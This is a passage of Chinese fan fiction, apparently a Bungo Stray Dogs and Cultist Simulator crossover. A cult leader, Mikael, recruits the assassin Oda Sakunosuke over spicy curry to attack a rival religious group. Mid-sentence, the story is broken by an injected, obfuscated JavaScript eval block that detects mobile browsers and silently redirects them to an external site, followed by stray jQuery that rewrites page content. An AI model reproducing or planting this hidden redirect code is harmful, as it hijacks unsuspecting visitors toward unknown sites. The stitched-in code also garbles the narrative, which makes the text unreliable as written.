【满载而归:我的追随者带着周边势力的情报归来了,虽然花了点时间,但这是值得的。胜利的道路清晰如同一卷猩红色的地毯展开至我脚边。
雇工?:我的追随者找到了一个收钱办事的人,我或许可以雇他去做那些我于心不忍而又不得不为的事情。[添加“资金”,在一定时间内雇佣此人。]】
你大为惊奇,探索任务怎么还能带土特产回来?
翻开那张崭新出炉的雇工卡,看到上面那明晃晃的15阶刃时,你已经心平气和,撕开一包pocky,夹起一根猛抽一口,做沧桑状。
呵呵,你已经不会被这个超模的游戏吓到了。
【金牌杀手织田作之助:此人是一位干练的暗杀者。在他所能见的未来中,不存在失手的可能性。[该雇工可以用于探险,并且可以帮你解决来寻找你犯罪证据的猎人和找你麻烦的家伙。]】
巧了么不是,你正好有想解决的家伙。
你兴致盎然地在一堆势力卡中挑挑拣拣,把他们按照等级高低分门别类地整理好。
在一众2级组织中,你盯上了那张名为【原宗教组织圣天锡杖】的卡牌。
开玩笑,在这个城市里搞密教的只需要有一个就够了,要怪就怪它的生态位擅自和你的重合了吧。
你点开卡牌的文案。
【原宗教组织圣天锡杖:拥有众多信徒,以敛财为目的的三流组织,但对于我那初出茅庐的教团来说,可能也是一种挑战。
涸魂诅咒:这个组织被涸魂诅咒保护着。若是没有灯或者心,这诅咒会跟着我们回去,吸干我们的魂。
僧侣:一队恪守誓言,信奉传统的守卫。杯之魅惑对他们没有效果,我们必须用刃击败他们,或是用蛾迷惑他们。】
田娜,这组织简直命中注定是要被你击败的。
你迫不及待地把【金牌杀手织田作之助】拖进交谈里,塞进一个金币。
……
“味道如何?”米迦一边拭嘴,一边不动声色地趁机灌下半杯冰水,望向对面的红发少年。
一旁的乱步则毫不掩饰地吐着舌头,大口大口地灌水,活泼地抱怨,“简直是在殴打我的舌头。这真的是人类能吃的食物吗?”
“好吃。”与这两个人相反,名为织田作之助的红发少年面不改色地大口吃着盘子里深色的咖喱,虽然一如既往的面无表情,但隐约能看出他周身那种飘飘然的幸福感。
“这个人的味蕾已经完全坏掉了吧?”乱步一脸震惊。
酒店高级餐厅的菜谱上并不供应咖喱这种平民食物,但米迦毕竟是这里的常客——而且从不吝啬于小费。
厨房很乐意满足这位贵客小小的特殊需求。
而当米迦笑着对侍者说出“来这个国家这么久了,还没怎么尝试过本地的特色呢”这句话时,侍者的身后更是燃起了熊熊的斗志。
不知他是如何向后厨传达的,但显然有着务必要让这位英国客人赞不绝口的决心。
最终的成果正是三人面前的咖喱饭,真的很辣,辣到狠毒,但米迦也不得不承认,它是很好吃的。
侍者来给他们添过水,然后离开了,餐桌上一时陷入一种微妙的沉默。
米迦将水杯推到织田的面前,双手交叉置于胸前,突然极为自然地开口,“织田君,是暗杀者吧?”
闻言,织田下意识地瞥了一眼斜对面的乱步,米迦心下了然,想必这是已经被乱步开过户了。
“这是一次刻意的接触吗?”红发少年问。
米迦笑了,“如果你要问这其中是否有人力的干涉,我的答案是‘否’,但是你要问这其中是否有神明的安排,那么我也并不十分确信。”
他说,“毕竟主安排着我们的一举一动,无论困难与否,我从不过问祂为我降下的试炼。”
织田点了点头,从他的脸上,很难看出他对这个说法的感想,仿佛不深感兴趣似的,他低下头,又吃了一口咖喱。
“但你还是查过我。”片刻后,他重新抬起脑袋,语气平淡,但非常确信,“我刚才只要求了辣咖喱,但这份咖喱不光是符合我要求的程度,这是大阪混合咖喱,你连我的出身都调查了。”
“如果主认为有必要的话,我当然会知道一切。”米迦从容不迫,“我知道你是最近当红的杀手组织的成员,我也知道所谓的杀手组织实际上只有你一个人,我知道你近期大概率受雇于圣天锡杖的人,我也知道你从未真正加入他们。”
“那你知道的很详细了。”织田脸上的表情没有任何波动,用无法窥探心情的语调普普通通地说。
餐桌上尴尬地沉默了两三秒,乱步不可置信地偏过头。
“这个人完全不吐槽啊,也没有求知欲。”
“冷静点,乱步君,可能这就是金牌杀手吧,泰山崩于前而面不改色。”
“而且,你的神秘密教领袖人设人家完全不买账。之前若无其事地把这种咖喱咽下去都白费了。”
“……不要当众揭穿我,乱步君。”
“不,我现在其实很紧张。”红发少年的语气毫无波动,让人无法相信他的说法,同时,难得展现出一点真实的遗憾,“原来你们欣赏不来辣咖喱啊。”
米迦装作听不见,轻咳一声,将话题拉回了正轨,“织田君,你对圣天锡杖这个组织怎么看?”
“他们付钱,能出得起市场价。”织田作平静地说,“我不关心谁是‘好人’。”
“那你觉得他们是坏人吗?”
“横滨没什么‘好人’和‘坏人’的区别,只有谁先倒下。”
米迦笑了,语气依旧温和,“很有趣的说法。”
“只是,我不禁问自己,为正义和公理而战是可耻的吗?答案当然是否定的,只是,在这座城市的沉疴痼疾面前,这种不切实际的想法也变得幼稚可笑。”
“你想说你是正义?”织田问。
“当然不是,否则我也不会和织田君坐在这里了,”米迦笑着否认,他顿了顿,继续道,“那么……如果我也开价,请你对他们出刀,你会怎么选?”
织田作停下了勺子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740177|174131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眉头微动,不是因为提议本身,而是因为他察觉到,对面这个人一直在说话,却从不透露任何真正的“意图”。
“你想让我杀掉圣天锡杖的人?”
“不全是。”米迦低头搅动自己盘中的咖喱,“我希望你成为象征意义上的第一柄圣剑。”
“圣剑?”
“我打算发起一场圣战。一场以净化暴力之名,审判横滨之名义的战争。”米迦抬眼望向他,眼神平静得像无波的湖泊,“我希望,织田君,会是第一道鸣响的钟声。”
织田半晌没说话。
他不是没听过这种话,横滨很多组织喜欢给自己的暴力贴上漂亮的理由。他早已习惯将这些“理念”当作笑话听。
可对面这个人,说话的方式却不同。他太冷静,太有条理,仿佛真有一套完整的神学式逻辑支撑起他的每一个词句。
“我不信神。”织田淡淡说。
“能完全以自己的意志决定道路,是一件了不起的事情啊。”米迦轻柔说,和织田印象中那些一提到信仰就暴跳如雷的狂热宗教分子不太一样,“我也希望,能够凭借自己的意愿,专一且心无旁骛地侍奉那只此一位的神明。只是——”
他抬起头,望着窗外的天穹,“地下拥挤,天上难道就不拥挤了吗?”
他回过头,直视着织田的眼睛,“织田君,至今为止,你杀了多少人?”
织田无法回答这个问题。
“数字不重要,重要的是,你已经杀得足够多了。”他的语气低沉而缓慢,“现在,该为他们中真正值得纪念的死者,拿起刀。”
“我想替那些死无葬身之地的名字,建一座真正的墓园。”
空气停顿了一瞬。
咖喱的香气已变得苦辣而沉重。织田默默看着他的眼睛。
“……如果你真要开战,就不用打算雇我太久。”
“多久无所谓。”米迦听出了其中潜藏的含义,轻声说,“只要你愿意参与第一战,之后,你想离开,我不会阻拦。”
他递出了一张纸片,纸上是一串编号和密码,写得像某种礼拜堂的邀请函。
“明晚十二点,指路教堂地下室。届时,圣天锡杖会迎来一场‘焚香祷告’。”
织田瞥了一眼卡片的内容,没有接过。杀手的职业素养让他足以将重要的信息记在脑海中。
他只是继续默默吃着最后一口饭。
米迦收回纸片,转而推出一个黑木盒子,里面安静躺着整齐码放的一层金币,金属的沉重与温度令人警觉——
“这是你能看到的部分。真正的‘报酬’,要等你选择信仰之后,才能明白。”
织田作沉默良久,才问出心中的疑惑,“……你的派别,管雇佣杀手也叫‘圣徒’?”
“这就是神学啊,”米迦笑着说,“如果你像我这样,看得够久,知道得更多,就会发现一个事实。”
他的声音仿佛叹息,穿透了亘古的传说与纷争,直视着变革与征服的神灵,“就算成为司辰,难道就能避免成为雇佣兵了吗?”